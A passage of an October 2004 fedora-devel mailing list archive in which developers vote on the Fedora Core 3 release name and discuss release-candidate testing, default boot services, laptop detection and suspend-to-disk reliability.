Tue Oct 26 21:41:00 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Tue, 26 Oct 2004 17:41:00 -0400 Subject: Fedora Core 3's name - your vote In-Reply-To: <1098826723.3944.120.camel@localhost.localdomain> References: <1098826723.3944.120.camel@localhost.localdomain> Message-ID: <1098826859.11845.33.camel@opus.phy.duke.edu> > :-) I like "Krosno" ! I vote for it. Do not send to the list. Send to him. just to him. -sv From grmoc at yahoo.com Tue Oct 26 21:43:31 2004 From: grmoc at yahoo.com (Roberto Peon) Date: Tue, 26 Oct 2004 17:43:31 -0400 Subject: Fedora Core 3's name - your vote In-Reply-To: <20041026213947.GA14932@devserv.devel.redhat.com> References: <20041026213947.GA14932@devserv.devel.redhat.com> Message-ID: <200410261743.32619.grmoc@yahoo.com> Seconded, if only because it is the easiest to pronounce. -Roberto JP On Tuesday 26 October 2004 05:39 pm, Alan Cox wrote: > On Tue, Oct 26, 2004 at 05:32:18PM -0400, Elliot Lee wrote: > > Heidelberg > > Seems ideal to me. Its amongst other things the location of the first > Linux conference, and not in America ;) From laroche at redhat.com Tue Oct 26 21:26:45 2004 From: laroche at redhat.com (Florian La Roche) Date: Tue, 26 Oct 2004 23:26:45 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: <200410261743.32619.grmoc@yahoo.com> References: <20041026213947.GA14932@devserv.devel.redhat.com> <200410261743.32619.grmoc@yahoo.com> Message-ID: <20041026212645.GA7374@dudweiler.stuttgart.redhat.com> On Tue, Oct 26, 2004 at 05:43:31PM -0400, Roberto Peon wrote: > Seconded, if only because it is the easiest to pronounce. > > -Roberto JP > > On Tuesday 26 October 2004 05:39 pm, Alan Cox wrote: > > On Tue, Oct 26, 2004 at 05:32:18PM -0400, Elliot Lee wrote: > > > Heidelberg > > > > Seems ideal to me. Its amongst other things the location of the first > > Linux conference Yes, that LinuxKonference has been really lovely. I still remember how Alan prepared his slides for that one. ;-) greetings, Florian La Roche From veguilla at hpcf.upr.edu Tue Oct 26 21:48:57 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 26 Oct 2004 17:48:57 -0400 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <1098827338.8674.4.camel@ricardo.veguilla.net> On Tue, 2004-10-26 at 17:32 -0400, Elliot Lee wrote: > It's time for the only really critical decision of the entire release: THE > NAME. ;-) > > The candidates for your consideration: > Krosno > Heidelberg > Uzhgorod > > Please send an e-mail to me by Thursday Oct. 27, highlighting your vote. > -- Elliot Heidelberg -- Ricardo Veguilla From paul at all-the-johnsons.co.uk Tue Oct 26 21:57:01 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Tue, 26 Oct 2004 22:57:01 +0100 Subject: Fedora Core 3's name - your vote In-Reply-To: <1098827338.8674.4.camel@ricardo.veguilla.net> References: <1098827338.8674.4.camel@ricardo.veguilla.net> Message-ID: <1098827821.28260.7.camel@localhost.localdomain> Hi, > Heidelberg Sounds nice. How about naming them after beer? Could have a play on the "free as in speech" line ;-) TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From veguilla at hpcf.upr.edu Tue Oct 26 22:01:08 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 26 Oct 2004 18:01:08 -0400 Subject: Fedora Core 3's name - your vote In-Reply-To: <1098827338.8674.4.camel@ricardo.veguilla.net> References: <1098827338.8674.4.camel@ricardo.veguilla.net> Message-ID: <1098828068.8674.17.camel@ricardo.veguilla.net> On Tue, 2004-10-26 at 17:48 -0400, Ricardo Veguilla wrote: > On Tue, 2004-10-26 at 17:32 -0400, Elliot Lee wrote: > > It's time for the only really critical decision of the entire release: THE > > NAME. ;-) > > > > The candidates for your consideration: > > Krosno > > Heidelberg > > Uzhgorod > > > > Please send an e-mail to me by Thursday Oct. 27, highlighting your vote. > > -- Elliot > > Heidelberg > Yeah, I know, sorry about the spam... (damn Reply-To.. ) -- Ricardo Veguilla From aoliva at redhat.com Tue Oct 26 22:16:24 2004 From: aoliva at redhat.com (Alexandre Oliva) Date: 26 Oct 2004 19:16:24 -0300 Subject: Fedora Core 3's name - your vote In-Reply-To: <1098826859.11845.33.camel@opus.phy.duke.edu> References: <1098826723.3944.120.camel@localhost.localdomain> <1098826859.11845.33.camel@opus.phy.duke.edu> Message-ID: On Oct 26, 2004, seth vidal wrote: >> :-) I like "Krosno" ! I vote for it. > Do not send to the list. > Send to him. > just to him. Would be easier if the list didn't have Reply-To set to the list :-) And Elliot actually overrode that to point to himself *and* the list, which only made matters worse. -- Alexandre Oliva http://www.ic.unicamp.br/~oliva/ Red Hat Compiler Engineer aoliva@{redhat.com, gcc.gnu.org} Free Software Evangelist oliva@{lsd.ic.unicamp.br, gnu.org} From sopwith at redhat.com Tue Oct 26 22:57:11 2004 From: sopwith at redhat.com (Elliot Lee) Date: Tue, 26 Oct 2004 18:57:11 -0400 (EDT) Subject: FC3rc2 - please test Message-ID: http://testing.fedora.redhat.com/tree/ Mirror at http://fedora.linux.duke.edu/FC3-rc/3/ This tree seeks your loving attention in installation and testing. Please speak now (via http://bugzilla.redhat.com/bugzilla/) or forever hold your peace about critical bugs. :) And thanks for taking the time so far on FC3rc1. Cheers, -- Elliot From kewley at cns.caltech.edu Tue Oct 26 23:32:01 2004 From: kewley at cns.caltech.edu (David Kewley) Date: Tue, 26 Oct 2004 16:32:01 -0700 Subject: FC3rc2 - please test In-Reply-To: References: Message-ID: <200410261632.01423.kewley@cns.caltech.edu> Elliot Lee wrote on Tuesday 26 October 2004 15:57: > http://testing.fedora.redhat.com/tree/ > > Mirror at http://fedora.linux.duke.edu/FC3-rc/3/ > > This tree seeks your loving attention in installation and testing. > Please speak now (via http://bugzilla.redhat.com/bugzilla/) or > forever hold your peace about critical bugs. :) And thanks for taking > the time so far on FC3rc1. > > Cheers, > -- Elliot The x86_64 iso's at http://testing.fedora.redhat.com/tree/x86_64/iso/ are dated 10/21, which seems wrong. Things look OK in other directories after a quick scan. Files in http://fedora.linux.duke.edu/FC3-rc/3/x86_64/iso/ have date 10/26, but let me ask: Are they correct? :) David From zleite at mminternet.com Wed Oct 27 00:52:35 2004 From: zleite at mminternet.com (Z) Date: Tue, 26 Oct 2004 17:52:35 -0700 Subject: warning to list In-Reply-To: <1098776924.3872.185.camel@baythorne.infradead.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <1098745593.3872.176.camel@baythorne.infradead.org> <1098750960.30694.7.camel@stargrazer.home.awesomeplay.com> <200410260856.24591.symbiont@berlios.de> <1098752870.30694.12.camel@stargrazer.home.awesomeplay.com> <1098776924.3872.185.camel@baythorne.infradead.org> Message-ID: <417EF153.1070308@mminternet.com> David Woodhouse wrote >Right. SPF, if it's to work, requires the whole world to 'upgrade' to >make the initial flawed assumptions of SPF come true. > > > Your opinion. More qualified people disagree. Z From dax at gurulabs.com Wed Oct 27 01:41:57 2004 From: dax at gurulabs.com (Dax Kelson) Date: Tue, 26 Oct 2004 19:41:57 -0600 Subject: FC3rc2 - please test (rsync?) In-Reply-To: References: Message-ID: <1098841317.3856.82.camel@mentorng.gurulabs.com> On Tue, 2004-10-26 at 16:57, Elliot Lee wrote: > http://testing.fedora.redhat.com/tree/ I'm thinking that rsync should be able to turn my FC3rc1 isos into rc2 isos quickly. Are these isos on a rsync server someplace? Dax From dax at gurulabs.com Wed Oct 27 01:51:55 2004 From: dax at gurulabs.com (Dax Kelson) Date: Tue, 26 Oct 2004 19:51:55 -0600 Subject: FC3rc2 - please test In-Reply-To: References: Message-ID: <1098841914.3856.87.camel@mentorng.gurulabs.com> On Tue, 2004-10-26 at 16:57, Elliot Lee wrote: > http://testing.fedora.redhat.com/tree/ DNS Resolution is borked. # host testing.fedora.redhat.com ns1.redhat.com Using domain server: Name: ns1.redhat.com Address: 66.187.233.210#53 Aliases: Host testing.fedora.redhat.com not found: 3(NXDOMAIN) # host testing.fedora.redhat.com ns2.redhat.com Using domain server: Name: ns2.redhat.com Address: 66.187.224.210#53 Aliases: Host testing.fedora.redhat.com not found: 3(NXDOMAIN) # host testing.fedora.redhat.com ns3.redhat.com Using domain server: Name: ns3.redhat.com Address: 66.187.229.10#53 Aliases: Host testing.fedora.redhat.com not found: 3(NXDOMAIN) From lists at sapience.com Wed Oct 27 03:34:06 2004 From: lists at sapience.com (Mail Lists) Date: Tue, 26 Oct 2004 23:34:06 -0400 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <20041027033405.GA31262@sapience.com> Heidelberg On Tue, Oct 26, 2004 at 05:32:18PM -0400, Elliot Lee wrote: > It's time for the only really critical decision of the entire release: THE > NAME. ;-) > > The candidates for your consideration: > Krosno > Heidelberg > Uzhgorod > > Please send an e-mail to me by Thursday Oct. 27, highlighting your vote. > -- Elliot > P.S. There are lots of great possibilities for names, We only can use one > in the end, and a good deal of time has already been spent in the Name > Narrowing-Down Process, so unfortunately the choice does have to be > limited to these three. Thanks for understanding... > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From remco at rvt.com Wed Oct 27 05:48:37 2004 From: remco at rvt.com (Remco Treffkorn) Date: Tue, 26 Oct 2004 22:48:37 -0700 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <200410262248.37557.remco@rvt.com> On Tuesday 26 October 2004 14:32, Elliot Lee wrote: > It's time for the only really critical decision of the entire release: THE > NAME. ;-) > > The candidates for your consideration: > Krosno > Heidelberg > Uzhgorod > Are you kidding? After Tettnang what else than Hallertau could be it? Tettnang and Hallertau are where they produce hops. Hops is used for making beer. Free association: Linux - free - speech/beer - hops - Tettnang/Hallertau ... And after all the salted herring, beer is what you need. -- Remco Treffkorn (RT445) HAM DC2XT remco at rvt.com (831) 685-1201 From Nicolas.Mailhot at laPoste.net Wed Oct 27 06:56:39 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Wed, 27 Oct 2004 08:56:39 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: <200410261743.32619.grmoc@yahoo.com> References: <20041026213947.GA14932@devserv.devel.redhat.com> <200410261743.32619.grmoc@yahoo.com> Message-ID: <1098860199.3300.1.camel@rousalka.dyndns.org> Le mardi 26 octobre 2004 ? 17:43 -0400, Roberto Peon a ?crit : > Seconded, if only because it is the easiest to pronounce. > > -Roberto JP > > On Tuesday 26 October 2004 05:39 pm, Alan Cox wrote: > > On Tue, Oct 26, 2004 at 05:32:18PM -0400, Elliot Lee wrote: > > > Heidelberg > > > > Seems ideal to me. Its amongst other things the location of the first > > Linux conference, and not in America ;) And loose a dream occasion to find a few more utf-8 bugs by using one of the others in its native scripts ? Are you kidding;) ? Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From fedora-devel at camperquake.de Wed Oct 27 08:59:33 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Wed, 27 Oct 2004 10:59:33 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: <200410262248.37557.remco@rvt.com> References: <200410262248.37557.remco@rvt.com> Message-ID: <20041027105933.51bed65b@nausicaa.camperquake.de> Hi. Remco Treffkorn wrote: > Tettnang and Hallertau are where they produce hops. Hops is used for > making beer. There was a time when the names of RH releases and test releases had some connection to each other. Is this still the case? Since the FC3test release had no name I'd be aware of, is there a way from Tettnang to Uzhgorod? -- "Those that give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- Benjamin Franklin From jcvalero at poblacionweb.com Wed Oct 27 09:09:42 2004 From: jcvalero at poblacionweb.com (Juan Carlos Valero) Date: Wed, 27 Oct 2004 11:09:42 +0200 Subject: Rsync for ISO Fc3 rc2 ? Message-ID: <1098868182.4809.21.camel@portatil> Hello, Is any rsync server available for the iso of FC3 rc2 ? -- Un saludo, Juan Carlos Valero ------------------------------------------------------------------------------- Si el mensaje no va firmado digitalmente, no es mio. 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Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Esta parte del mensaje est? firmada digitalmente URL: From pknirsch at redhat.com Wed Oct 27 15:26:43 2004 From: pknirsch at redhat.com (Phil Knirsch) Date: Wed, 27 Oct 2004 11:26:43 -0400 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <417FBE33.9080207@redhat.com> Elliot Lee wrote: > It's time for the only really critical decision of the entire release: THE > NAME. ;-) > > The candidates for your consideration: > Krosno > Heidelberg > Uzhgorod Heidelberg, what else? :-) Of course, i admit i am a little biased. ;-) Read ya, Phil -- Philipp Knirsch | Tel.: +49-711-96437-470 Development | Fax.: +49-711-96437-111 Red Hat GmbH | Email: Phil Knirsch Hauptstaetterstr. 58 | Web: http://www.redhat.de/ D-70178 Stuttgart Motd: You're only jealous cos the little penguins are talking to me. From ralph+fedora at strg-alt-entf.org Wed Oct 27 10:13:43 2004 From: ralph+fedora at strg-alt-entf.org (Ralph Angenendt) Date: Wed, 27 Oct 2004 12:13:43 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <20041027101343.GA23934@br-online.de> Elliot Lee wrote: > It's time for the only really critical decision of the entire release: THE > NAME. ;-) > > The candidates for your consideration: > Krosno > Heidelberg > Uzhgorod As much as I'd love to see some thing being named "Uzhgorod", I'll vote for Heidelberg: The connection to Tettnang is very easy and as a german I'm biased :) Ralph -- Ralph Angenendt......ra at br-online.de | .."Text processing has made it possible Bayerischer Rundfunk...HA-Multimedia | ....to right-justify any idea, even one Rundfunkplatz 1........80300 M?nchen | .which cannot be justified on any other Tl:089.5900.16023..Fx:089.5900.16240 | ..........grounds." -- J. Finnegan, USC -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From Axel.Thimm at ATrpms.net Wed Oct 27 10:21:02 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Wed, 27 Oct 2004 12:21:02 +0200 Subject: Why RCs on different locations? (was: FC3rc2 - please test) In-Reply-To: References: Message-ID: <20041027102102.GD31334@neu.nirvana> On Tue, Oct 26, 2004 at 06:57:11PM -0400, Elliot Lee wrote: > http://testing.fedora.redhat.com/tree/ > > Mirror at http://fedora.linux.duke.edu/FC3-rc/3/ why aren't RCs published on downloads.fedora.redhat.com which is automatically mirrored by several locations world-wide? It could have been test/2.99.1 for rc1 test/2.99.2 for rc2 etc. But perhaps limiting the scope is intended for some reason? And as aside note: what should bugs be filed against? Bugzilla has no fc3rcN, in the current selection only "devel" would make sense. Thanks. -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From lorenzo at reality.it Wed Oct 27 10:48:38 2004 From: lorenzo at reality.it (Lorenzo Luconi Trombacchi) Date: Wed, 27 Oct 2004 12:48:38 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <417F7D06.90508@reality.it> Heidelberg. Uzhgorod is too difficult for Italian people! :-)) Lorenzo > It's time for the only really critical decision of the entire release: THE > NAME. ;-) > > The candidates for your consideration: > Krosno > Heidelberg > Uzhgorod > > Please send an e-mail to me by Thursday Oct. 27, highlighting your vote. > -- Elliot > P.S. There are lots of great possibilities for names, We only can use one > in the end, and a good deal of time has already been spent in the Name > Narrowing-Down Process, so unfortunately the choice does have to be > limited to these three. Thanks for understanding... > From lorenzo at reality.it Wed Oct 27 11:07:45 2004 From: lorenzo at reality.it (Lorenzo Luconi Trombacchi) Date: Wed, 27 Oct 2004 13:07:45 +0200 Subject: FC3rc2 - please test In-Reply-To: References: Message-ID: <417F8181.5070005@reality.it> Elliot Lee wrote: > http://testing.fedora.redhat.com/tree/ > > Mirror at http://fedora.linux.duke.edu/FC3-rc/3/ > > This tree seeks your loving attention in installation and testing. Please > speak now (via http://bugzilla.redhat.com/bugzilla/) or forever hold your > peace about critical bugs. :) And thanks for taking the time so far on > FC3rc1. > > Cheers, > -- Elliot > Could you release the DVD image too? Is easier and faster (at least for me) to burn only one DVD image than 4 CDs. Lorenzo From dragoran at feuerpokemon.de Wed Oct 27 11:09:36 2004 From: dragoran at feuerpokemon.de (dragoran) Date: Wed, 27 Oct 2004 13:09:36 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: <1098826723.3944.120.camel@localhost.localdomain> References: <1098826723.3944.120.camel@localhost.localdomain> Message-ID: <417F81F0.8020900@feuerpokemon.de> Gilles Fabio schrieb: >Hi Elliot ! > > > >>It's time for the only really critical decision of the entire release: THE >>NAME. ;-) >> >>The candidates for your consideration: >> Krosno >> Heidelberg >> Uzhgorod >> >> > >:-) I like "Krosno" ! I vote for it. > >Regards, >Gilles > > > yes Krosno sounds good.... From carwyn at carwyn.com Wed Oct 27 11:12:10 2004 From: carwyn at carwyn.com (Carwyn Edwards) Date: Wed, 27 Oct 2004 12:12:10 +0100 Subject: FC3rc2 - please test In-Reply-To: References: Message-ID: <417F828A.4070506@carwyn.com> Elliot Lee wrote: >http://testing.fedora.redhat.com/tree/ > >Mirror at http://fedora.linux.duke.edu/FC3-rc/3/ > >This tree seeks your loving attention in installation and testing. > Is there any particular reason that this tree lives in a different location to the stable and development trees? (download.fedora.redhat.com) There are far less mirrors of the testing tree because of this. Carwyn From buildsys at redhat.com Wed Oct 27 11:52:26 2004 From: buildsys at redhat.com (Build System) Date: Wed, 27 Oct 2004 07:52:26 -0400 Subject: rawhide report: 20041027 changes Message-ID: <200410271152.i9RBqQp25467@porkchop.devel.redhat.com> Updated Packages: fedora-logos-1.1.29-1 --------------------- * Tue Oct 26 2004 Jeremy Katz - 1.1.29-1 - non-test anaconda splash * Tue Oct 26 2004 Jeremy Katz - 1.1.28-1 - generic Fedora Core graphics for !test release gcc-3.4.2-6.fc3 --------------- * Mon Oct 25 2004 Jakub Jelinek 3.4.2-6.fc3 - fix ICE in dwarf2out.c introduced in 3.4.2-6 (#136884) - fix -fwritable-strings (#136714) * Mon Oct 18 2004 Jakub Jelinek 3.4.2-6 - update from gcc-3_4-branch - PRs c++/15786, c++/15876, c++/16301, c/16999, c/17023, c++/17115, c/17384, c++/17393, c++/17524, c++/17685, c++/17821, c++/17826, c++/17868, c++/17976, debug/13841, debug/14492, debug/15860, libstdc++/17850, other/17361, rtl-opt/17503, rtl-optimization/17027, rtl-optimization/17853, target/14454, target/17245, target/17770 - fix ICE in addqi_1_slp on i386 (#135872) - avoid symlinks in /usr/include/c++/3.4.2/ on ppc and sparc (#135611) - make sure .toc{,1} sections are created on ppc -m64 -mminimal-toc (#134248, PR target/17751) - define __GNUC_RH_RELEASE__ macro to match %{gcc_release} rpm macro (well, its first number) * Thu Oct 07 2004 Jakub Jelinek 3.4.2-5 - update from gcc-3_4-branch - PRs target/16007, 16406, libstdc++/10975, libstdc++/17505 - fix a fastjar bug (Tom Tromey, #74106) - obsolete gcc-chill (#84670) - don't use Koenig lookup if normal lookup finds a member function (Nathan Sidwell, #134676, PR c++/17829) hal-0.4.0-9 ----------- * Tue Oct 26 2004 David Zeuthen 0.4.0-9 - Rebuilt * Tue Oct 26 2004 David Zeuthen 0.4.0-8 - Forgot to add some diffs in hal-0.4.0-pcmcia-net-support.patch * Tue Oct 26 2004 David Zeuthen 0.4.0-7 - Change default policy such that non-hotpluggable fixed disks are not added to the /etc/fstab file because a) ATARAID detection in hal is incomplete (e.g. RAID members from ATARAID controllers might be added to /etc/fstab); and b) default install wont corrupt multiboot systems on fixed drives (#137072) python-2.3.4-11 --------------- * Tue Oct 26 2004 Mihai Ibanescu 2.3.4-11 - Fixed bug #136654 (python has sketchy audio clip) redhat-menus-1.13-1 ------------------- * Fri Oct 22 2004 - 1.13-1 - New release. This just has new translations and an evolution desktop file rpmdb-fedora-3-0.20041027 ------------------------- selinux-policy-targeted-1.17.30-2.11 ------------------------------------ * Mon Oct 25 2004 Dan Walsh 1.17.30-2.11 - Fix spec file * Mon Oct 25 2004 Dan Walsh 1.17.30-2.10 - Retag for different branch * Mon Oct 25 2004 Dan Walsh 1.17.30-2.9 - Cleanup make load so it does not spew stuff on a reload of policy. system-config-packages-1.2.20-1 ------------------------------- * Mon Oct 25 2004 Jeremy Katz - 1.2.20-1 - Fix handling of already mounted CD (#135383, #135534) From russell at coker.com.au Wed Oct 27 13:00:29 2004 From: russell at coker.com.au (Russell Coker) Date: Wed, 27 Oct 2004 23:00:29 +1000 Subject: NFS install and i815 graphics In-Reply-To: <200410260059.43452.russell@coker.com.au> References: <200410260059.43452.russell@coker.com.au> Message-ID: <200410272300.29657.russell@coker.com.au> On Tue, 26 Oct 2004 00:59, Russell Coker wrote: > I have a machine with an i815 graphics device on the motherboard. When I > do a regular CD install the GUI works fine. When I boot with "linux > askmethod" with FC3T3 and select NFS install then at the time it goes to > graphics mode the machine locks up. It turns out that I was incorrect in this. The problem is intermittent, I can't determine what triggers it. It occurs most of the time on my machines that have Intel 815 graphics, both an IBM P3-800 desktop and a HP P3-800 desktop. When it occurs the X server starts, the X cross cursor is briefly displayed along with the mouse cursor that is normally used by Anaconda (two cursors, but only the X cross cursor moves) and the Fedora welcome screen is displayed with lots of what looks like static covering it (seems that it's the graphics content from the boot loader which was still in the video memory). After about 1 second of that the screen goes to all vertical stripes of different colors and the system locks up solidly enough that the caps-lock key does not change the state of the caps-lock LED. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From lorenzo at reality.it Wed Oct 27 13:14:48 2004 From: lorenzo at reality.it (Lorenzo Luconi Trombacchi) Date: Wed, 27 Oct 2004 15:14:48 +0200 Subject: Services and scripts at boot time Message-ID: <417F9F48.4010604@reality.it> Why these scripts/services are default executed/activated at boot time after Core installation? - pcmcia: also executed when pcmcia is not present - isdn: also executed when isdn is not present - mdmonitor: activated without RAID partitions - rhnsd: Fedora Core users use RHN for manage/update packages? - NFS/RPC: activated/executed many scripts about NFS... If I am an NFS user I think I can activate some scripts/services at boot time. - cpuspeed: many CPUs (like AthlonXP and other) don't support cpuspeed Lorenzo From kyrre at solution-forge.net Wed Oct 27 13:19:12 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 27 Oct 2004 15:19:12 +0200 Subject: What does anaconda know? In-Reply-To: <20041026182650.GD21197@redhat.com> References: <20041026165644.A32660@ryoko.camperquake.de> <1098804523.10884.16.camel@bree.local.net> <20041026193052.1a9271d5@nausicaa.camperquake.de> <1098812745.10884.21.camel@bree.local.net> <20041026182650.GD21197@redhat.com> Message-ID: <1098883152.2725.6.camel@kyrre> if pcmcia exists, unautodetectable monitor, bunch of ACPI stuff, etc etc and then give them weigths? 3/4 "laptop signs" => probably a laptop? but there has to be some way to override it... tir, 26.10.2004 kl. 20.26 skrev Dave Jones: > On Tue, Oct 26, 2004 at 01:45:45PM -0400, Jeremy Katz wrote: > > On Tue, 2004-10-26 at 19:30 +0200, Ralf Ertzinger wrote: > > > Jeremy Katz wrote: > > > > This is a never-ending battle. The proper place for such a > > > > determination is with the service itself. > > > > > > Hmmm. On the other hand I do not like the idea to stuff the > > > whole machine-type-detection logic into each and every package. > > > > Which is why you have a library (be it kudzu, hal, or whatever your > > hardware abstraction layer library of the week happens to be) and ensure > > that *it* can do the probing for you. Then you just have to have the > > package know what it cares about and see if there's any available. > > In the case of x86 laptops, a simple 'is_laptop' script could be > hacked up pretty easily with dmidecode and grep. > > Dave From kyrre at solution-forge.net Wed Oct 27 13:23:48 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 27 Oct 2004 15:23:48 +0200 Subject: latest rawhide kernel 2.6.9-1.640 and suspend to disk In-Reply-To: <1098824196.2900.144.camel@localhost.localdomain> References: <417E39AB.6090706@redhat.com> <20041026181022.GA21197@redhat.com> <1098824196.2900.144.camel@localhost.localdomain> Message-ID: <1098883428.2725.10.camel@kyrre> Just wondering: How much of suspend to disk it is possible to do fully in userspace? I mean, if the kernel boots normally, mounts the disks etc, and it then is up to init (?) to detect some flag in some file, and load the ram instead? But what would that do to things that use to be syncronized between kernel and OS? Is there any such things? tir, 26.10.2004 kl. 22.56 skrev Per Bjornsson: > On Tue, 2004-10-26 at 11:10, Dave Jones wrote: > > > My comments on swsusp are largely unprintable, but in short, this > > kind of risk (where end-users can lose data) isn't justifiable. > > Upstream, swsusp is still very much in flux, with a large out-of-tree > > patchset to 'improve' upon it. > > Is swsusp2 (I presume this is the "out-of-tree patchset" you mentioned) > as ugly from a code point of view? I thought it might be a bit better. > > By the way, what is the data loss scenario - pretty much just that > whatever wasn't saved is is lost if the computer doesn't wake up > (basically the same as hitting the hard reset button at a random > moment), or random wreckage all over the hard disk? That makes a huge > difference! > > > I'm not optimistic we'll see this working reliably any time soon. > > Read some of the comments from the upstream maintainer on linux-kernel. > > There are numerous cases of swsusp failing where the end-user has > > been given the brush-off "oh well, your hardware is crap". > > Yes, looking at LKML it sure looks like some of the people involved > sadly don't really care about how safe it is, as long as it kind of > works with some luck. > > My understanding was that Pat Mochel seemed to have a bit more of a > grasp of the fundamentals involved, so I had some hope that the re-merge > of swsusp and pmdisk would improve things a bit. That's not the case? > > > Comments about swsusp code quality aside, there also exists a larger > > problem -- lots of devices still don't handle wakeup from deepsleep state. > > The code just isn't written, and a lot of maintainers of various device > > drivers don't particularly care enough about suspend to make it work. > > Unless someone who does care submits patches, those drivers remain > > in the state they're in today. > > Interesting; I thought that all the devices were actually turned off and > the computer was completely booted from scratch with the current linux > implementation of suspend-to-disk in any case. In that case, shouldn't > all the devices just get initialized just as they would be in a regular > boot sequence? On my dual-boot notebook I can run Windows, "hibernate" > which is the Windows version of suspending to disk, turn it back on and > boot into Linux, reboot and get back into the Windows session where I > left off. That certainly indicates to me that at least the Windows > suspend-to-disk state is in fact turned off, or at least the functional > equivalent. I can't see how any state could be preserved across running > another OS on the computer! > > If this is the case, isn't it actually S3 (suspend to RAM) that would be > the more difficult state to get devices back from? Coming back from that > state it seems like lots of devices are not reinitialized by the BIOS, > while they should be on boot. Or rather, Linux must know what to do with > these devices on boot since they normally work! > > > Still think this is something worth taking a risk for ? > > Well, I've had a system hosed (massive filesystem corruption, lots of > critical binaries had just disappeared so the system wouldn't even boot > any longer - I needed it back so I just reinstalled, didn't have time to > investigate further unfortunately) when I tried to get suspend-to-RAM > working a few months ago, so it seems that the Red Hat kernels already > do some things sleeping-wise that can be construed to be risky. Is > non-functional suspend-to-disk more likely to corrupt data than > non-functional suspend-to-RAM (which is to a great extent what we have > now)? I guess the judgment call is yours to make, but I wouldn't be > totally averse to seeing this turned on if the risk level is similar to > that involved in S3 suspend. > > If S3 suspend actually worked and was less risky, I wouldn't care > particularly about S4/suspend to disk; however, I've certainly seen the > sentiment that S3 is actually harder to do right (in terms of device > initialization etc) than S4 so reliable S3 is unlikely to ever happen on > a lot of hardware... Do you believe that reliable S3 suspend has a > greater likelyhood of happening than reliable suspend-to-disk? > > (My problem seems similar to > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=122604 although I > have a Fujitsu S2020, I'll try to investigate more when I have time to > deal with potential file system corruption again. Of course, that report > doesn't imply file system corruption; it might have been that I forgot > to fsck between failed attempts though - but I am using ext3 so I > thought journaling should help me a bit. I only saw it once though, I > got too scared to continue after that.) > > /Per > > -- > Per Bjornsson > Ph.D. Candidate, Department of Applied Physics, Stanford University From kyrre at solution-forge.net Wed Oct 27 13:58:30 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 27 Oct 2004 15:58:30 +0200 Subject: Services and scripts at boot time In-Reply-To: <417F9F48.4010604@reality.it> References: <417F9F48.4010604@reality.it> Message-ID: <1098885510.2725.21.camel@kyrre> ons, 27.10.2004 kl. 15.14 skrev Lorenzo Luconi Trombacchi: > Why these scripts/services are default executed/activated at boot time > after Core installation? > > - pcmcia: also executed when pcmcia is not present Possible to detect yenta-socket? > - isdn: also executed when isdn is not present Should only start if ISDN has been activated in system-config-network > - mdmonitor: activated without RAID partitions Sure, just disable it when it isn't neccessary > - rhnsd: Fedora Core users use RHN for manage/update packages? Kill, kill, kill! > - NFS/RPC: activated/executed many scripts about NFS... If I am an NFS > user I think I can activate some scripts/services at boot time. Just *PLEASE* document things in system-config-services! Some of this nfs stuff is unfigurable. What is needed for what? > - cpuspeed: many CPUs (like AthlonXP and other) don't support cpuspeed cat /proc/cpuinfo etc... A whitelist would be nice here > Lorenzo From davej at redhat.com Wed Oct 27 14:23:55 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 27 Oct 2004 10:23:55 -0400 Subject: What does anaconda know? In-Reply-To: <1098883152.2725.6.camel@kyrre> References: <20041026165644.A32660@ryoko.camperquake.de> <1098804523.10884.16.camel@bree.local.net> <20041026193052.1a9271d5@nausicaa.camperquake.de> <1098812745.10884.21.camel@bree.local.net> <20041026182650.GD21197@redhat.com> <1098883152.2725.6.camel@kyrre> Message-ID: <20041027142354.GA6724@redhat.com> On Wed, Oct 27, 2004 at 03:19:12PM +0200, Kyrre Ness Sjobak wrote: > if pcmcia exists could be a pci card. > unautodetectable monitor could be desktop. a lot of old monitors dont speak DDC. > bunch of ACPI stuff just testing for the presence of /proc/acpi/battery/BAT0 will probably go a long way. This just leaves laptops with broken ACPI (or no ACPI), which could be detected with DMI strings. > and then give them weigths? 3/4 "laptop signs" => probably a laptop? sounds a little 'too clever' imo. The more complicated heuristics become, the more fragile they seem to be in the real world. Dave From jkeating at 